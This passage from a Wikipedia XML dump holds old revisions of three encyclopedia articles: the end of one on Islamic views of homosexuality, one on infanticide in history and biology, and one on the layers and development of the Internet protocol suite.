[[2001]] decree by [[Saddam Hussein]]. The legal situation in the [[United Arab Emirates]] is unclear.  In many Muslim nations, such as [[Bahrain]], [[Qatar]], [[Algeria]], and the [[Maldives]], homosexuality is punished with jail time, fines, or corporal punishment. In some Muslim-majority nations, such as [[Turkey]], [[Jordan]], [[Egypt]], or [[Mali]], same-sex intercourse is not specifically forbidden by law. However, in Egypt gays have been prosecuted under general public morality laws.(See [[Cairo 52]].)

In [[Saudi Arabia]], the maximum punishment for homosexuality is public execution, but the government will use other punishments -- e.g., fines, jail time, and whipping -- as alternatives, unless it feels that homosexuals are challenging state authority by engaging in a [[gay rights]] movement. [http://www.sodomylaws.org/world/saudi_arabia/saudinews19.htm]  Iran is perhaps the nation to execute the largest number of its citizens for homosexuality.  Since its Islamic revolution in [[Iran]], the Iranian government has executed more than 4000 people charged with homosexual acts. In [[Afghanistan]] after the fall of the [[Taliban]] homosexuality went from a capital crime to one that it punished with fines and prison sentence, and a similar situation seems to have occurred in Iraq (see [[gay rights in Iraq]].)

Most international human rights organizations, such as [[Human Rights Watch]] and [[Amnesty International]], condemn laws that make homosexual relations between consenting adults a crime.  Since [[1994]] the [[United Nations]] Human Rights Committee has also ruled that such laws violated the right to privacy guaranteed in the Universal Declaration of Human Rights and the International Covenant on Civil and Political Rights.  However, most Muslim nations (except for [[Turkey]], which has been ruled by secular law since 1923 and recently has modernized its laws in order to meet the requirements of entry to the [[European Union]]) insist that such laws are necessary to preserve Islamic morality and virtue. Of the nations with a majority of Muslim inhabitants, only [[Lebanon]] has an internal effort to legalize homosexuality.  However, some Muslims have expressed criticism of the legal sanctions used against homosexuality.

Reasons given by Muslims condemning the executions include the fact that some legal schools (e.g., [[Hanafi]]) regard it as unjustified, the argument that the death penalty is not specified for it in the [[Qur'an]], the idea that the punishment is unduly harsh, and opposition to the idea that the state's laws should be based on religion.  The introduction of the [[AIDS]] [[pandemic]] in the Muslim world has also promoted more discussion about the legal status of homosexuality, as the legal sanctions against homosexuality have made it difficult to initiate any educational programs directed at high risk groups.  

While executions and other criminal sanctions curtail any public [[gay rights]] movement, it is impractical to give criminal sanctions to all homosexuals living in a Muslim country, and it is common knowledge (e.g. to visiting foreigners) that some young men will experiment with homosexual relations as an outlet to sexual desires that cannot be met in a society where the sexes are often kept segregated. (See [[sex segregation]].)  These discreet and casual homosexual relations allow men to engage in premarital sex with a low risk of facing the social or legal sanctions that would occur if they involved in [[adultery]] or [[fornication]] with a woman, which might result in a pregnancy. Most of these men do not consider themselves to be [[gay]] or [[bisexuality|bisexual]].

A related problem to full enforcement of the laws against homosexuality is that because the sexes are often segregated, men are encouraged to developed close friendships with other men, and women are encouraged to develop close friendships with other women.  Also, Islamic law requires a certain number of male and female witnesses to the homosexual act to testify in court.  Islam does place a strong value on the right to privacy in the home and thus homosexual relations that occur in private are theoretically outside the bounds of the law, although that is more theory then reality.

== Homosexuality in the Qur'an ==

:''See [[Islamic views of homosexuality#Homosexuality in the Qur'an|''Homosexuality in the Qur'an'']]''

The Qur'an specifically mentions that same-sex intercourse is forbidden. 
The [[Abdullah Yusuf Ali]] translation of the [[Qur'an]] states, in [[Al-A'raf]]:

:&quot;We also sent [[Lut]]: He said to his people: Do ye commit lewdness such as no people in creation (ever) committed before you? For ye practice your lusts on men in preference to women: ye are indeed a people transgressing beyond bounds. And his people gave no answer but this: they said, &quot;Drive them out of your city: these are indeed men who want to be clean and pure!&quot;&quot; (Qur'an 7:80-82)

[[Ash-Shu'ara]] (starting at 165):

:&quot;Of all the creatures in the world, will ye approach males, And leave those whom Allah has created for you to be your mates? Nay, ye are a people transgressing (all limits)! They said: &quot;If thou desist not, O Lut! thou wilt assuredly be cast out!&quot;  He said: &quot;I do detest your doings:&quot; &quot;O my Lord! deliver me and my family from such things as they do!&quot; So We delivered him and his family,- all Except an old woman who lingered behind. But the rest We destroyed utterly. We rained down on them a shower (of brimstone): and evil was the shower on those who were admonished (but heeded not)! Verily in this is a Sign: but most of them do not believe. And verily thy Lord is He, the Exalted in Might, Most Merciful.&quot; (Qur'an 26:165-175)

[[An-Naml]] (starting at 55):

:&quot;Would ye really approach men in your lusts rather than women? Nay, ye are a people (grossly) ignorant! But his people gave no other answer but this: They said, &quot;Drive out the followers of Lut from your city: these are indeed men who want to be clean and pure!&quot; But We saved him and his family, except his wife; her We destined to be of those who lagged behind. And We rained down on them a shower (of brimstone): and evil was the shower on those who were admonished (but heeded not)!&quot; (Qur'an 27:55-58)

[[Al-Ankabut]] (starting at 28):

:&quot;And (remember) Lut: behold, he said to his people: &quot;Ye do commit lewdness, such as no people in Creation (ever) committed before you. Do ye indeed approach men, and cut off the highway? - and practise wickedness (even) in your councils?&quot; But his people gave no answer but this: they said: &quot;Bring us the Wrath of Allah if thou tellest the truth.&quot; (Qur'an 29:28-29)

[[An-Nisa]], starting at 15-15:

:&quot;If any of your women are guilty of lewdness, Take the evidence of four (Reliable) witnesses from amongst you against them; and if they testify, confine them to houses until death do claim them, or Allah ordain for them some (other) way.  If two men among you are guilty of lewdness, punish them both. If they repent and amend, Leave them alone; for Allah is Oft-returning, Most Merciful.&quot; (Qur'an 4:15-16)

See also [[Khalil el-Moumni]]

== Liberal Islamic stances on homosexuality ==

Some self-described liberal Muslims, such as the members of the [[Al-Fatiha Foundation]], accept and consider homosexuality as natural, either regarding these verses as obsolete in the context of modern society, or pointing out that the Qu'ran speaks out against homosexual lust, and is silent on homosexual love.  However, this position remains highly controversial even amongst [[liberal movements within Islam]], and is considered completely beyond the pale by mainstream Islam[http://www.al-fatiha.org/pamphlet.html].

==See also==
* [[Faisal Alam]]
* [[Irshad Manji]], Canadian lesbian and human rights activist
* [[Ghilman]]
* [[Historical pederastic couples]]
* [[Mahmoud Asgari and Ayaz Marhoni]]
* [[Malik Ayaz]]
* [[Mallam Abdullahi Ibrahim]]
* [[Nazar ill'al-murd]]
* [[Pederasty in the Islamic lands]]
* [[Usman Sani]]
* [[Yusuf Kabir]]
* [[Waheed Alli, Baron Alli]], British politician
* [[Festival of Muslim Cultures]]

==References==

*Khaled El-Rouayheb, ''Before Homosexuality in the Arab-Islamic World, 1500-1800'' Chicago, 2005
*James T. Monroe, ''Homoeroticism in Classical Arabic Literature'' New York, 1997

== External links ==
*[http://examinethetruth.com/manjism/homosexuality.htm Are homosexuals condemned eternally in Islam?]

[[Category:LGBT issues and religion|Islam]]
[[Category:Islamic law|Homosexuality, Islamic views of]]
[[Category:Religious ethics]]
[[Category:Pederasty]]

[[fr:Islam et homosexualité]]</text>
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      <comment>moved &amp;quot;sleeping giant&amp;quot; subpage out of subspace</comment>
      <text xml:space="preserve">#REDIRECT [[Isoroku Yamamoto's sleeping giant quote]]</text>
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    <title>Ian Kilmister</title>
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  <page>
    <title>Infanticide</title>
    <id>15474</id>
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      </contributor>
      <comment>/* See also */ added Margaret Garner; alphabetized</comment>
      <text xml:space="preserve">In [[sociology]] and [[biology]], '''infanticide''' is the practice of intentionally causing the [[death]] of an [[infant]] of a given species, by members of the same species. In many past societies, certain forms of infanticide were considered proper, whereas in most modern societies the practice is considered [[immoral]] and [[criminal]]. Nonetheless, it still takes place, in the [[Western world]] usually because of the mother's [[mental illness]], and in some poor countries because of tacit societal acceptance.

In the [[UK]], the [[Infanticide Act]] defines ''infanticide'' as a specific crime that can only be committed by the mother during the first twelve months of her infant's life. This article deals with the broader notion of infanticide explained above.

==Infanticide in history==
Infanticide was common in all well-studied ancient cultures, including those of ancient [[Greece]], [[Rome]], [[India]], [[China]], and [[Japan]]. The practice of infanticide has taken many forms. [[Child sacrifice]] to supernatural figures or forces, such as that allegedly practiced in ancient [[Carthage]], is one form; however, many societies only practiced simple infanticide and regarded child sacrifice as morally repugnant. The practice has become less common in the western world, but continues today in areas of extremely high [[poverty]] and [[overpopulation]], such as parts of China and India [http://www.gendercide.org/case_infanticide.html]. Female infants, then and now, are particularly vulnerable -- ''see'' [[female infanticide]].

One frequent method of infanticide in antiquity was simply to [[child abandonment|abandon the infant]], leaving it to death by exposure. Another method commonly used with female children was to severely malnourish them, resulting in a vastly increased risk of death by accident or disease. In some cultures, this is thought to have been an open and accepted practice, while in others it may have been practiced privately, with the passive acceptance of society.

Classic [[ancient Rome|Roman]] civilization can serve as an example of both aspects. In some periods of Roman history it was traditional practice for a newborn to be brought to the ''[[pater familias]]'', the family patriarch, who would then decide whether the child was to be kept and raised, or left to death by exposure. The [[Twelve Tables]] of [[Roman law]] obliged the ''pater familias'' to put to death a child that was visibly deformed. Although infanticide became a capital offense in Roman law in [[374|AD 374]], offenders were rarely if ever prosecuted. A practice described in Roman texts was to smear the breast with [[opium]] residue so that a nursing baby would die with no outward cause.

==Explanations for the practice==
Many historians believe the reason to be primarily economic, with more children born into families than the family is prepared to support. However, this does not explain why infanticide would occur equally among rich and poor, nor why it would be as frequent during decadent periods of the [[Roman Empire]] as during earlier, less affluent, periods.

A letter from a Roman citizen to his wife, dating from [[1 BC]], describes the casual nature with which infanticide was often viewed:
:&quot;Know that I am still in [[Alexandria]]. &lt;nowiki&gt;[...]&lt;/nowiki&gt; I ask and beg you to take good care of our baby son, and as soon as I received payment I shall send it up to you. If you are delivered &lt;nowiki&gt;[before I come home]&lt;/nowiki&gt;, if it is a boy, keep it, if a girl, discard it.&quot; &amp;ndash; Naphtali Lewis, Life in Egypt Under Roman Rule.

Some anthropologists have suggested other causes for infanticide in non-State and non-industrialized societies.  Janet Siskind  has argued that female infanticide may be a form of [[population control]] in Amazonian societies. Population control is achieved not only by limiting the number of potential mothers; increased fighting among men for access to relatively scarce wives would also lead to a decline in population. Although additional research by [[Marvin Harris]] and [[William Divale]] supports this argument, it has been criticized as an example of environmental determinism. In the [[Solomon Islands]], some people reportedly kill their first-born child as a matter of custom -- and then adopt a child from another island, a practice that suggests that the causes of infanticide are more complex. 
Other anthropologists have suggested a variety of largely culture-specific reasons for infanticide. In cultures where different value is placed on male and female children, [[sex-selective infanticide]] may be practiced simply to increase the proportion of children of the preferred sex, usually male. In cultures where childbearing is strongly tied to social structures, infants born outside of those structures (illegitimate children, children of incest, children of cross-caste relationships, and so forth) may be killed by family members to conceal or atone for the violation of [[taboo]].

In times of famine or cases of extreme poverty, parents may have to choose which of their children will live and which will starve. 

A minority of academics subscribe to an alternate school of thought blaming the practice, both modern and historical, on psychological inability to raise children (see [[early infanticidal childrearing]]).

Contemporary data suggests that modern infanticide is usually brought about by a combination of [[postpartum depression]] and a psychological unreadiness to raise children. It could also be exacerbated by [[schizophrenia]]. It is also attributed, in some cases, to the desire of unwed, underage parents to conceal their sexual relations and/or avoid the responsibility of childrearing.

In addition to debates over the morality of infanticide itself, there is some debate over the effects of infanticide on surviving children, and the effects of childrearing in societies that also sanction infanticide. Some argue that the practice of infanticide in any widespread form causes enormous psychological damage in children. Some anthropologists studying societies that practice infanticide, however, have reported how loving the parents were to their children. (Harris and Divale's work on the relationship between female infanticide and warfare suggests that there are, however, extensive negative effects).

In the absence of [[sex-selective abortion]], sex-selective infanticide can be deduced from very skewed birth statistics. The biologically normal birth ratio for [[homo sapiens]] is approximately 105 males per 100 females, and the life expectancy of females is slightly greater than males on average. When a society has an infant male to female ratio which is [[statistical significance|significantly]] higher than the biological norm, sex selection can usually be inferred. (However, new research has led to [http://slate.msn.com/id/2119402/ alternate explanations to this theory].)

There have been some accusations that infanticide occurs in [[China]] due to the [[one-child policy]] although most demographers do not believe that the practice is widespread. Others assert that China has twenty-five million fewer girl children than expected.

==Infant euthanasia==
[[Joseph Fletcher]], founder of [[situational ethics]] and a [[euthanasia]] proponent, proposed that infanticide be permitted in cases of severe birth defects. He and philosopher [[Peter Singer]] have suggested that it is a logical extension of [[abortion]]. 

In the [[Netherlands]], euthanasia remains technically illegal for patients under the age of 12. However, Dr. [[Eduard Verhagen]] has documented several cases of infant euthanasia. Together with colleagues and prosecutors, he has developed a protocol to be followed in those cases. Prosecutors will refrain from pressing charges if this ''Groningen protocol'' is followed.

==Infanticide in other species==
Other species, besides [[homo sapiens]], commit infanticide. One, perhaps surprising, example is the [[bottlenose dolphin]], which has been reported to kill its young through impact injuries [http://www.sciencenews.org/pages/sn_arc98/7_18_98/fob1.htm].  Another example is hamsters eating their young.

== See also ==
*[[Melissa Drexler]]
*[[Margaret Garner]]
*[[Amy Grossberg]]
*[[Brian Peterson]]
*[[abortion]]
*[[baby-farming]]
*[[bruce effect]]
*[[child murder]]
*[[eugenics]]
*[[filicide]]

==External links==
* [http://www.cf.ac.uk/hisar/teach/ancthist/projects/children/ An overview of ancient attitudes in the Roman Empire towards the death of children and infanticide]
* [http://www.findarticles.com/p/articles/mi_m0PCG/is_1_21/ai_n6155263 Journal of Population Research: Shortage of girls in China today]

[[Category:Infanticide]]
[[de:Kindestötung]]
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  <page>
    <title>Internet protocol suite</title>
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      <comment>/* Layers in the Internet Protocol stack */ This article is about the IP suite, so discussion about that should come first then relate to OSI</comment>
      <text xml:space="preserve">{{IPstack}}

The '''internet protocol suite''' is the set of [[communications protocol]]s that implement the [[protocol stack]] on which the [[Internet]] and most commercial networks run. It is sometimes called the '''TCP/IP''' [[protocol suite]], after the two most important protocols in it: the [[Transmission Control Protocol]] (TCP) and the [[Internet Protocol]] (IP), which were also the first two defined.

The internet protocol suite &amp;mdash; like many protocol suites &amp;mdash; can be viewed as a set of layers, each layer solves a set of problems involving the transmission of data, and provides a well-defined service to the [[upper layer protocol]]s based on using services from some lower layers. Upper layers are logically closer to the user and deal with more abstract data, relying on [[lower layer protocol]]s to translate data into forms that can eventually be physically transmitted. 

The [[OSI model]] describes a fixed set of seven layers that some vendors prefer and that can be roughly compared to the IP suite.
This comparison can cause confusion or give further insight into the IP suite.

==Layers in the internet protocol suite stack==
[[Image:UDP encapsulation.png|thumb|511px|Sample encapsulation of data within a [[User Datagram Protocol|UDP]] datagram within an [[Internet Protocol|IP]] packet]]

The IP suite uses [[encapsulation (networking)|encapsulation]] to provide abstraction of protocols and services to different layers in the stack.
The stack consists of four layers:

{| cellpadding=&quot;5&quot; cellspacing=&quot;1&quot;
|-
|4||style=&quot;border:1px solid black;&quot;|'''Application'''&lt;br /&gt;''(OSI layers&lt;br /&gt;5 through 7)''
|e.g. [[HTTP]], [[File transfer protocol|FTP]], [[DNS]]&lt;br /&gt; ''(routing protocols like [[Border Gateway Protocol|BGP]] and [[Routing information protocol|RIP]], which for a variety of reasons run over TCP and UDP respectively, may also be considered part of the Internetwork layer)''
|-
|3||style=&quot;border:1px solid black;&quot;|'''Transport'''&lt;br /&gt;''(OSI layers&lt;br /&gt;4 and 5)''
|e.g. [[Transmission Control Protocol|TCP]], [[User Datagram Protocol|UDP]], [[Real-time Transport Protocol|RTP]], [[Stream Control Transmission Protocol|SCTP]]&lt;br /&gt; ''(routing protocols like [[Open shortest path first|OSPF]], which run over IP, may also be considered part of the Internetwork layer)''
|-
|2||style=&quot;border:1px solid black;&quot;|'''Internetwork'''&lt;br /&gt;''(OSI&lt;br /&gt;layer 3)''
| For TCP/IP this is the [[Internet Protocol]] (IP)&lt;br /&gt;''(required protocols like [[Internet control message protocol|ICMP]] and [[Internet group management protocol|IGMP]] run over IP, but may still be considered part of the Internetwork layer; [[Address resolution protocol|ARP]] does not run over IP)''
|- style=&quot;border:1px solid black;&quot;
|1||style=&quot;border:1px solid black;&quot;|'''Link'''&lt;br /&gt;''(OSI layers&lt;br /&gt;1 and 2)''
|e.g. [[Ethernet]], [[Wi-Fi]], [[Multiprotocol Label Switching|MPLS]], etc.
|}

The layers near the top are logically closer to the user while those near the bottom are logically closer to the physical transmission of the data.
Each layer has an [[upper layer protocol]] and a [[lower layer protocol]] (except the top/bottom protocols, of course) that either use said layer's service or provide a service, respectively.
Viewing layers as providing or consuming a service is a method of [[abstraction (computer science)|abstraction]] to isolate upper layer protocols from the nitty gritty detail of transmitting bits over, say, [[ethernet]] and [[Carrier sense multiple access with collision detection|collision detection]] while the lower layers avoid having to know the details of each and every application and its protocol.

This abstraction also allows upper layers to provide services that the lower layers cannot, or choose not, to provide.
For example, IP is designed to not be reliable and is a [[best effort delivery]] protocol.
This means that all [[transport layer]] must address whether or not to provide reliability and to what degree.
UDP provides data integrity (via a [[checksum]]) but does not guarantee delivery; TCP provides both data integrity and delivery guarantee (by retransmitted until the receiver receives the packet).

===OSI model comparison===
There is some discussion about how to map the TCP/IP model onto the OSI model. Since the TCP/IP and OSI protocol suites do not match precisely, there is no one correct answer.

In addition, the OSI model is not really rich enough at the lower layers to capture the true layering; there needs to be an extra layer (the Internetworking layer) between the Transport and Network layers. Protocols specific to a particular network type, but which are run on top of the basic hardware framing, ought to be at the Network layer. Examples of such protocols are [[Address resolution protocol|ARP]] and the [[Spanning Tree Protocol]] (used to keep redundant [[Network bridge|bridge]]s idle until they are needed). However, they are local protocols and operate beneath the internetwork functionality. Admittedly, placing both groups (not to mention protocols which are logically part of the internetwork layer, but run on top of the internetwork protocol, such as [[ICMP]]) all at the same layer can be confusing, but the OSI model is not complex enough to do a better job.

The following diagram attempts to show where various TCP/IP and other protocols would reside in the original OSI model:

{| cellpadding=&quot;5&quot; cellspacing=&quot;1&quot;
|-
|7||style=&quot;border:1px solid black;&quot;|'''Application'''
|e.g. [[HTTP]], [[Simple Mail Transfer Protocol|SMTP]], [[Simple Network Management Protocol|SNMP]], [[File transfer protocol|FTP]], [[Telnet]], [[Session Initiation Protocol|SIP]], [[Secure Shell|SSH]], [[Network File System|NFS]], [[RTSP]], [[XMPP]], [[Whois]], [[Endpoint Handlespace Redundancy Protocol|ENRP]]
|-
|6||style=&quot;border:1px solid black;&quot;|'''Presentation'''
|e.g. [[External Data Representation|XDR]], [[Abstract Syntax Notation 1|ASN.1]], [[Server message block|SMB]], [[Apple Filing Protocol|AFP]], [[NetWare Core Protocol|NCP]]
|-
|5||style=&quot;border:1px solid black;&quot;|'''Session'''
|e.g. [[Aggregate Server Access Protocol|ASAP]], [[Transport Layer Security|TLS]], [[SSH]], ISO 8327 / CCITT X.225, [[Remote procedure call|RPC]], [[NetBIOS]], [[AppleTalk|ASP]], [[Winsock]], [[Berkeley sockets|BSD sockets]]
|-
|4||style=&quot;border:1px solid black;&quot;|'''Transport'''
|e.g. [[Transmission Control Protocol|TCP]], [[User Datagram Protocol|UDP]], [[Real-time Transport Protocol|RTP]], [[Stream Control Transmission Protocol|SCTP]], [[Sequenced packet exchange|SPX]], [[AppleTalk|ATP]], [[IL Protocol|IL]]
|-
|3||style=&quot;border:1px solid black;&quot;|'''Network'''
|e.g. [[Internet Protocol|IP]], [[Internet control message protocol|ICMP]], [[Internet group management protocol|IGMP]], [[IPX]], [[Border Gateway Protocol|BGP]], [[OSPF]], [[Routing information protocol|RIP]], [[IGRP]], [[EIGRP]], [[Address resolution protocol|ARP]], [[RARP]], [[X.25]]
|-
|2||style=&quot;border:1px solid black;&quot;|'''Data Link'''
|e.g. [[Ethernet]], [[Token ring]], [[HDLC]], [[Frame relay]], [[Integrated Services Digital Network|ISDN]], [[Asynchronous Transfer Mode|ATM]], [[IEEE 802.11|802.11 WiFi]], [[Fiber distributed data interface|FDDI]], [[Point-to-Point Protocol|PPP]]
|-
|1||style=&quot;border:1px solid black;&quot;|'''Physical'''
|e.g. [[wire]], [[radio]], [[fiber optic]], [[IP over Avian Carriers|Carrier pigeon]]
|}

Commonly, the top three layers of the OSI model (Application, Presentation and Session) are considered as a single Application Layer in the TCP/IP suite. Because the TCP/IP suite has a comparatively lightweight session layer, consisting of opening and closing connections under TCP and RTP and providing different port numbers for different applications under TCP and UDP, these functions may be augmented by individual applications (or libraries used by those applications). Similarly, IP is designed around the idea of treating the network below it as a black box so it can be considered as a single layer for the purposes of discussing TCP/IP.

==The layers==
The following is a description of each layer in the IP suite stack.

===The link layer===
The Link layer is not really part of the Internet protocol suite, but is the method used to pass packets from the Internet layer of one device to the Internet layer of another. This process can be controlled both in the [[software]] [[device driver]] for the [[network card]], as well as on [[firmware]] or specialist [[chipsets]]. These will perform [[data link layer|data link]] functions such as adding a [[packet header]] to prepare it for transmission, then actually transmit the frame over a [[physical layer|physical]] [[transmission medium|medium]]. On the other end,  the link layer will receive data frames, strip off the packet headers, and hand the received packets to the Internet layer.

However, the link layer is not always so simple. It may also be a [[Virtual private network]] (VPN) or tunnel, where packets from the Internet layer, instead of being sent over a physical interface, are sent using a [[tunneling protocol]] and another (or the same) protocol suite. The VPN or tunnel is usually established ahead of time, and has special characteristics that direct transmission out a physical interface does not (for example, it may encrypt the data going over it). This [[recursion|recursive]] use of the protocol suite can be confusing since the link &quot;layer&quot; is now an entire network. But it is an elegant method for implementing often complex functions. (Though care is needed to prevent a packet that is wrapped and sent through a tunnel being repeatedly re-wrapped and sent down the tunnel again).

===The Internetwork layer===
As originally defined, the [[Network layer]] solves the problem of getting packets across a single network. Examples of such protocols are [[X.25]], and the [[ARPANET]]'s [[Host/IMP Protocol]].

With the advent of the concept of [[Internet|internetworking]], additional functionality was added to this layer, namely getting data from the source [[computer network|network]] to the destination network. This generally involves routing the packet across a network of networks, known as an [[internet]].

In the internet protocol suite, [[Internet Protocol|IP]] performs the basic task of getting packets of data from source to destination. IP can carry data for a number of different higher level protocols; these protocols are each identified by a unique ''IP Protocol Number''. ICMP and IGMP are protocols 1 and 2, respectively.

Some of the protocols carried by IP, such as [[Internet Control Message Protocol|ICMP]] (used to transmit diagnostic information about IP transmission) and [[Internet Group Management Protocol|IGMP]] (used to manage [[multicast]] data) are layered on top of IP but perform internetwork layer functions, illustrating an incompatibility between the internet and OSI models. All routing protocols, such as [[Border Gateway Protocol|BGP]], [[OSPF]], and [[Routing information protocol|RIP]] are also really part of the internetwork layer, although they might seem to belong higher in the stack.

===The transport layer===
The protocols at the [[Transport layer]] can solve problems like reliability (&quot;did the data reach the destination?&quot;) and ensure that data arrives in the correct order. In the TCP/IP protocol suite, transport protocols also determine which application any given data is intended for. 

The dynamic routing protocols which technically fit at this layer in the TCP/IP Protocol Suite (since they run over IP) are generally considered to be part of the Network layer; an example is [[OSPF]] (IP protocol number 89).

[[Transmission control protocol|TCP]] (IP protocol number 6) is a &quot;reliable&quot;, [[connection-oriented]], transport mechanism providing a [[reliable byte stream]], which makes sure data arrives complete, undamaged, and in order. TCP tries to continuously measure how loaded the network is and throttles its sending rate in order to avoid overloading the network. Furthermore, TCP will attempt to deliver all data correctly in the specified sequence. These are its main differences from UDP, and can become disadvantageous in real-time streaming or routing applications with high [[internetwork layer]] loss rates. 

The newer [[Stream Control Transmission Protocol|SCTP]] is also a &quot;reliable&quot;, [[connection-oriented]], transport mechanism. It is record rather than byte oriented, and provides multiple sub-streams multiplexed over a single connection. It also provides multi-homing support, in which a connection end can be represented by multiple IP addresses (representing multiple physical interfaces), such that if one fails the connection is not interrupted. It was developed initially for telephony applications (to transport [[SS7]] over [[Internet Protocol|IP]]), but can also be used for other applications.

[[User datagram protocol|UDP]] (IP protocol number 17) is a [[connectionless]] datagram protocol. It is a &quot;best effort&quot; or &quot;unreliable&quot; protocol - not because it is particularly unreliable, but because it does not verify that packets have reached their destination, and gives no guarantee that they will arrive in order. If an Application requires these characteristics, it must provide them itself, or use [[Transmission Control Protocol|TCP]].

UDP is typically used for applications such as streaming media (audio and video, etc) where on-time arrival is more important than reliability, or for simple query/response applications like [[DNS]] lookups, where the overhead of setting up a reliable connection is disproportionately large. 

[[DCCP]] is currently under development by IETF. It provides TCP's flow control semantics, while keeping UDP's datagram service model visible to the user.

Both TCP and UDP are used to carry a number of higher-level applications. The applications at any given network address are distinguished by their TCP or UDP ''[[port number]]''. By convention certain ''well known ports'' are associated with specific applications.

[[Real-time Transport Protocol|RTP]] is a datagram protocol that is designed for real-time data such as streaming audio and video. 
RTP is a session layer that uses the UDP packet format as a basis yet is said to sit within the transport layer of the Internet protocol stack.

===The application layer===
The [[Application layer]] is the layer that most common network-aware programs use in order to communicate across a network with other programs. Processes that occur in this layer are application specific; data is passed from the network-aware program, in the format used internally by this application, and is encoded into a standard protocol.

Some specific programs are considered to run in this layer. They provide services that directly support user applications. These programs and their corresponding protocols include [[HTTP]] (The World Wide Web), [[File Transfer Protocol|FTP]] (File transport), [[Simple Mail Transfer Protocol|SMTP]] (Email), [[Secure shell|SSH]] (Secure remote login), [[DNS]] (Name &lt;-&gt; IP Address lookups) and many others.

Once the data from an application has been encoded into a standard application layer protocol it will be passed down to the next layer of the IP stack.

At the Transport Layer, applications will most commonly make use of TCP or UDP, and server applications are often associated with a [[TCP and UDP port numbers|well-known port number]]. Ports for server applications are officially allocated by the [[Internet Assigned Numbers Authority]] (IANA) but developers of new protocols today often choose the port numbers themselves. As it is rare to have more than a few server applications on the same system, problems with port conflicts are rare. Application software also generally allows users to specify arbitrary port numbers as [[runtime]] [[parameters]].

Client applications connecting out generally use a random port number assigned by the operating system. Applications that listen on a port and then send that port to another copy of the application via a server to set up a peer-peer link (e.g. [[Direct Client-to-Client|dcc]] file transfers on [[Internet Relay Chat|IRC]]). May also use a random port but the applications usually allow specification of a specific port range to allow the ports to be mapped inwards through a router that implements [[network address translation]].

==Development==
The Internet protocol suite came from work done by [[DARPA]] in the early [[1970s]]. After building the pioneering [[ARPANET]], DARPA started work on a number of other data transmission technologies. In 1972, [[Robert E. Kahn]] was hired at the DARPA [[Information Processing Technology Office]], where he worked on both satellite packet networks and ground-based radio packet networks, and recognized the value of being able to communicate across them.  In the spring of 1973, [[Vinton Cerf]], the developer of the existing ARPANET Network Control Program (NCP) protocol, joined Kahn to work on open-architecture interconnection models with the goal of designing the next protocol for the ARPANET.

By the summer of [[1973]], Kahn and Cerf had soon worked out a fundamental reformulation, where the differences between network protocols were hidden by using a common [[internetwork protocol]], and instead of the network being responsible for reliability, as in the ARPANET, the hosts became responsible. (Cerf credits [[Hubert Zimmerman]] and [[Louis Pouzin]] (designer of the [[CYCLADES]] network) with important influences on this design.)

With the role of the network reduced to the bare minimum, it became possible to join almost any networks together, no matter what their characteristics were, thereby solving Kahn's initial problem. (One popular saying has it that [[TCP/IP]], the eventual product of Cerf and Kahn's work, will run over &quot;two tin cans and a string&quot;, and it has in fact been [[IP over Avian Carriers|implemented using homing pigeons]].)  A computer called a ''gateway'' (later changed to ''[[router]]'' to avoid confusion with [[Gateway|other types of ''gateway'']]) is provided with an interface to each network, and forwards [[packet]]s back and forth between them.

The idea was worked out in more detailed form by Cerf's networking research group at Stanford in the [[1973]]&amp;ndash;[[1974|74]] period. (The early networking work at [[Xerox PARC]], which produced the [[PARC Universal Packet]] protocol suite, much of which was contemporaneous, was also a significant technical influence; people moved between the two.)

DARPA then contracted with BBN, Stanford, and The University College London to develop operational versions of the protocol on different hardware platforms.  Four versions were developed -- TCP v1, TCP v2, a split into TCP v3 and IP v3 in the spring of 1978, and then stability with TCP/IP v4 -- the standard protocol still in use on the Internet today. 

In 1975, a two-network TCP/IP communications test was performed between Stanford and University College London (UCL). In November, 1977, a three-network TCP/IP test was conducted between the U.S., U.K., and Norway.  Between 1978 and 1983, several other TCP/IP prototypes were developed at multiple research centres.  A full switchover to TCP/IP on the ARPANET took place January 1, 1983. [http://www.livinginternet.com/i/ii.htm] 

In 1984, the US Department of Defense made TCP/IP the standard for all military computer networking.  In 1985, the Internet Architecture Board held a three day workshop on TCP/IP for the computer industry, attended by 250 vendor representatives, helping popularize the protocol and leading to its increasing commercial use.

On [[9 November]] [[2005]] Kahn and Cerf were presented with the [[Presidential Medal of Freedom]] for their contribution to American culture. [http://news.bbc.co.uk/1/hi/technology/4415326.stm]

==How IP Kills and Eats Competitive Networks==
In the long term, IP appears to replace other networks.  Here's a brief explanation.  IP transmits generic data.  The data can serve any purpose, and can easily replace data previously provided by proprietary data networks.  Here's the usual sequence:
#A proprietary data network is developed for a specialized purpose.  If it works well, users will adopt it.
#IP service is provided as a convenience, often to get e-mail or chat, usually tunneling through the proprietary data service in some fashion.  The tunneling method may be quite inefficient at first, because e-mail and chat require only low bandwidth.
#IP infrastructure is emplaced by gradual investment at the edges of the proprietary data network.
#A substitute for the proprietary service is developed using IP, often by a user.
#The IP substitute spreads over the entire internet, making the IP substitute more valuable (because of [[network effect]]s) than the original proprietary network.
#The proprietary network is deprecated.  Most users begin maintaining a duplicate facility that uses the IP substitute.
#IP packets have very low overheads, less than 1%, and therefore compete very effectively on cost.  An inexpensive transmission medium is developed that can carry IP to most of the users of the proprietary network.
#The proprietary network is removed by most users to cut costs.
#Die-hard users of the proprietary network are therefore forced to adopt. 
*

==Implementations==
*[[KA9Q]] PPJ
*[[lwIP]]

Today, most commercial operating systems include and install the TCP/IP stack by default, For most users, there is no need to look for implementations. TCP/IP is included in all commercial Unix and Linux distributions as well as with Mac OS X and Microsoft Windows and Windows Server.

==See also==
* [[OSI Model]]
* [[DoD Model]]
* [[TCP and UDP port numbers]]

==References==
*[http://www.livinginternet.com/i/ii.htm Internet History] -- Pages on Robert Kahn, Vinton Cerf, and TCP/IP (reviewed by Cerf and Kahn).

==External links==
* RFC 1180 A TCP/IP Tutorial - from the Internet Engineering Task Force (January 1991)
* [http://www.itprc.com/tcpipfaq/ TCP/IP FAQ]
* [http://www.columbia.edu/~rh120/other/tcpdigest_paper.txt  A Study of the ARPANET TCP/IP Digest]
* [http://www.eventhelix.com/RealtimeMantra/Networking/ TCP/IP Sequence Diagrams]
* [http://www.searchandgo.com/articles/internet/internet-practice-4.php The Internet in Practice]
* [http://cng.ateneo.edu/cng/wyu/classes/cs197/ Ateneo Network Research Group] TCP/IP research at the [[Ateneo de Manila University]]
* [http://www.venu4u.info/network/tcpip.html TCP/IP Directory &amp;amp; Informational Resource.]

==TCP/IP Books==
* [[Joseph G. Davies]] and [[Thomas F. Lee]]. Microsoft Windows Server 2003 TCP/IP Protocols and Services.  ISBN 0735612919
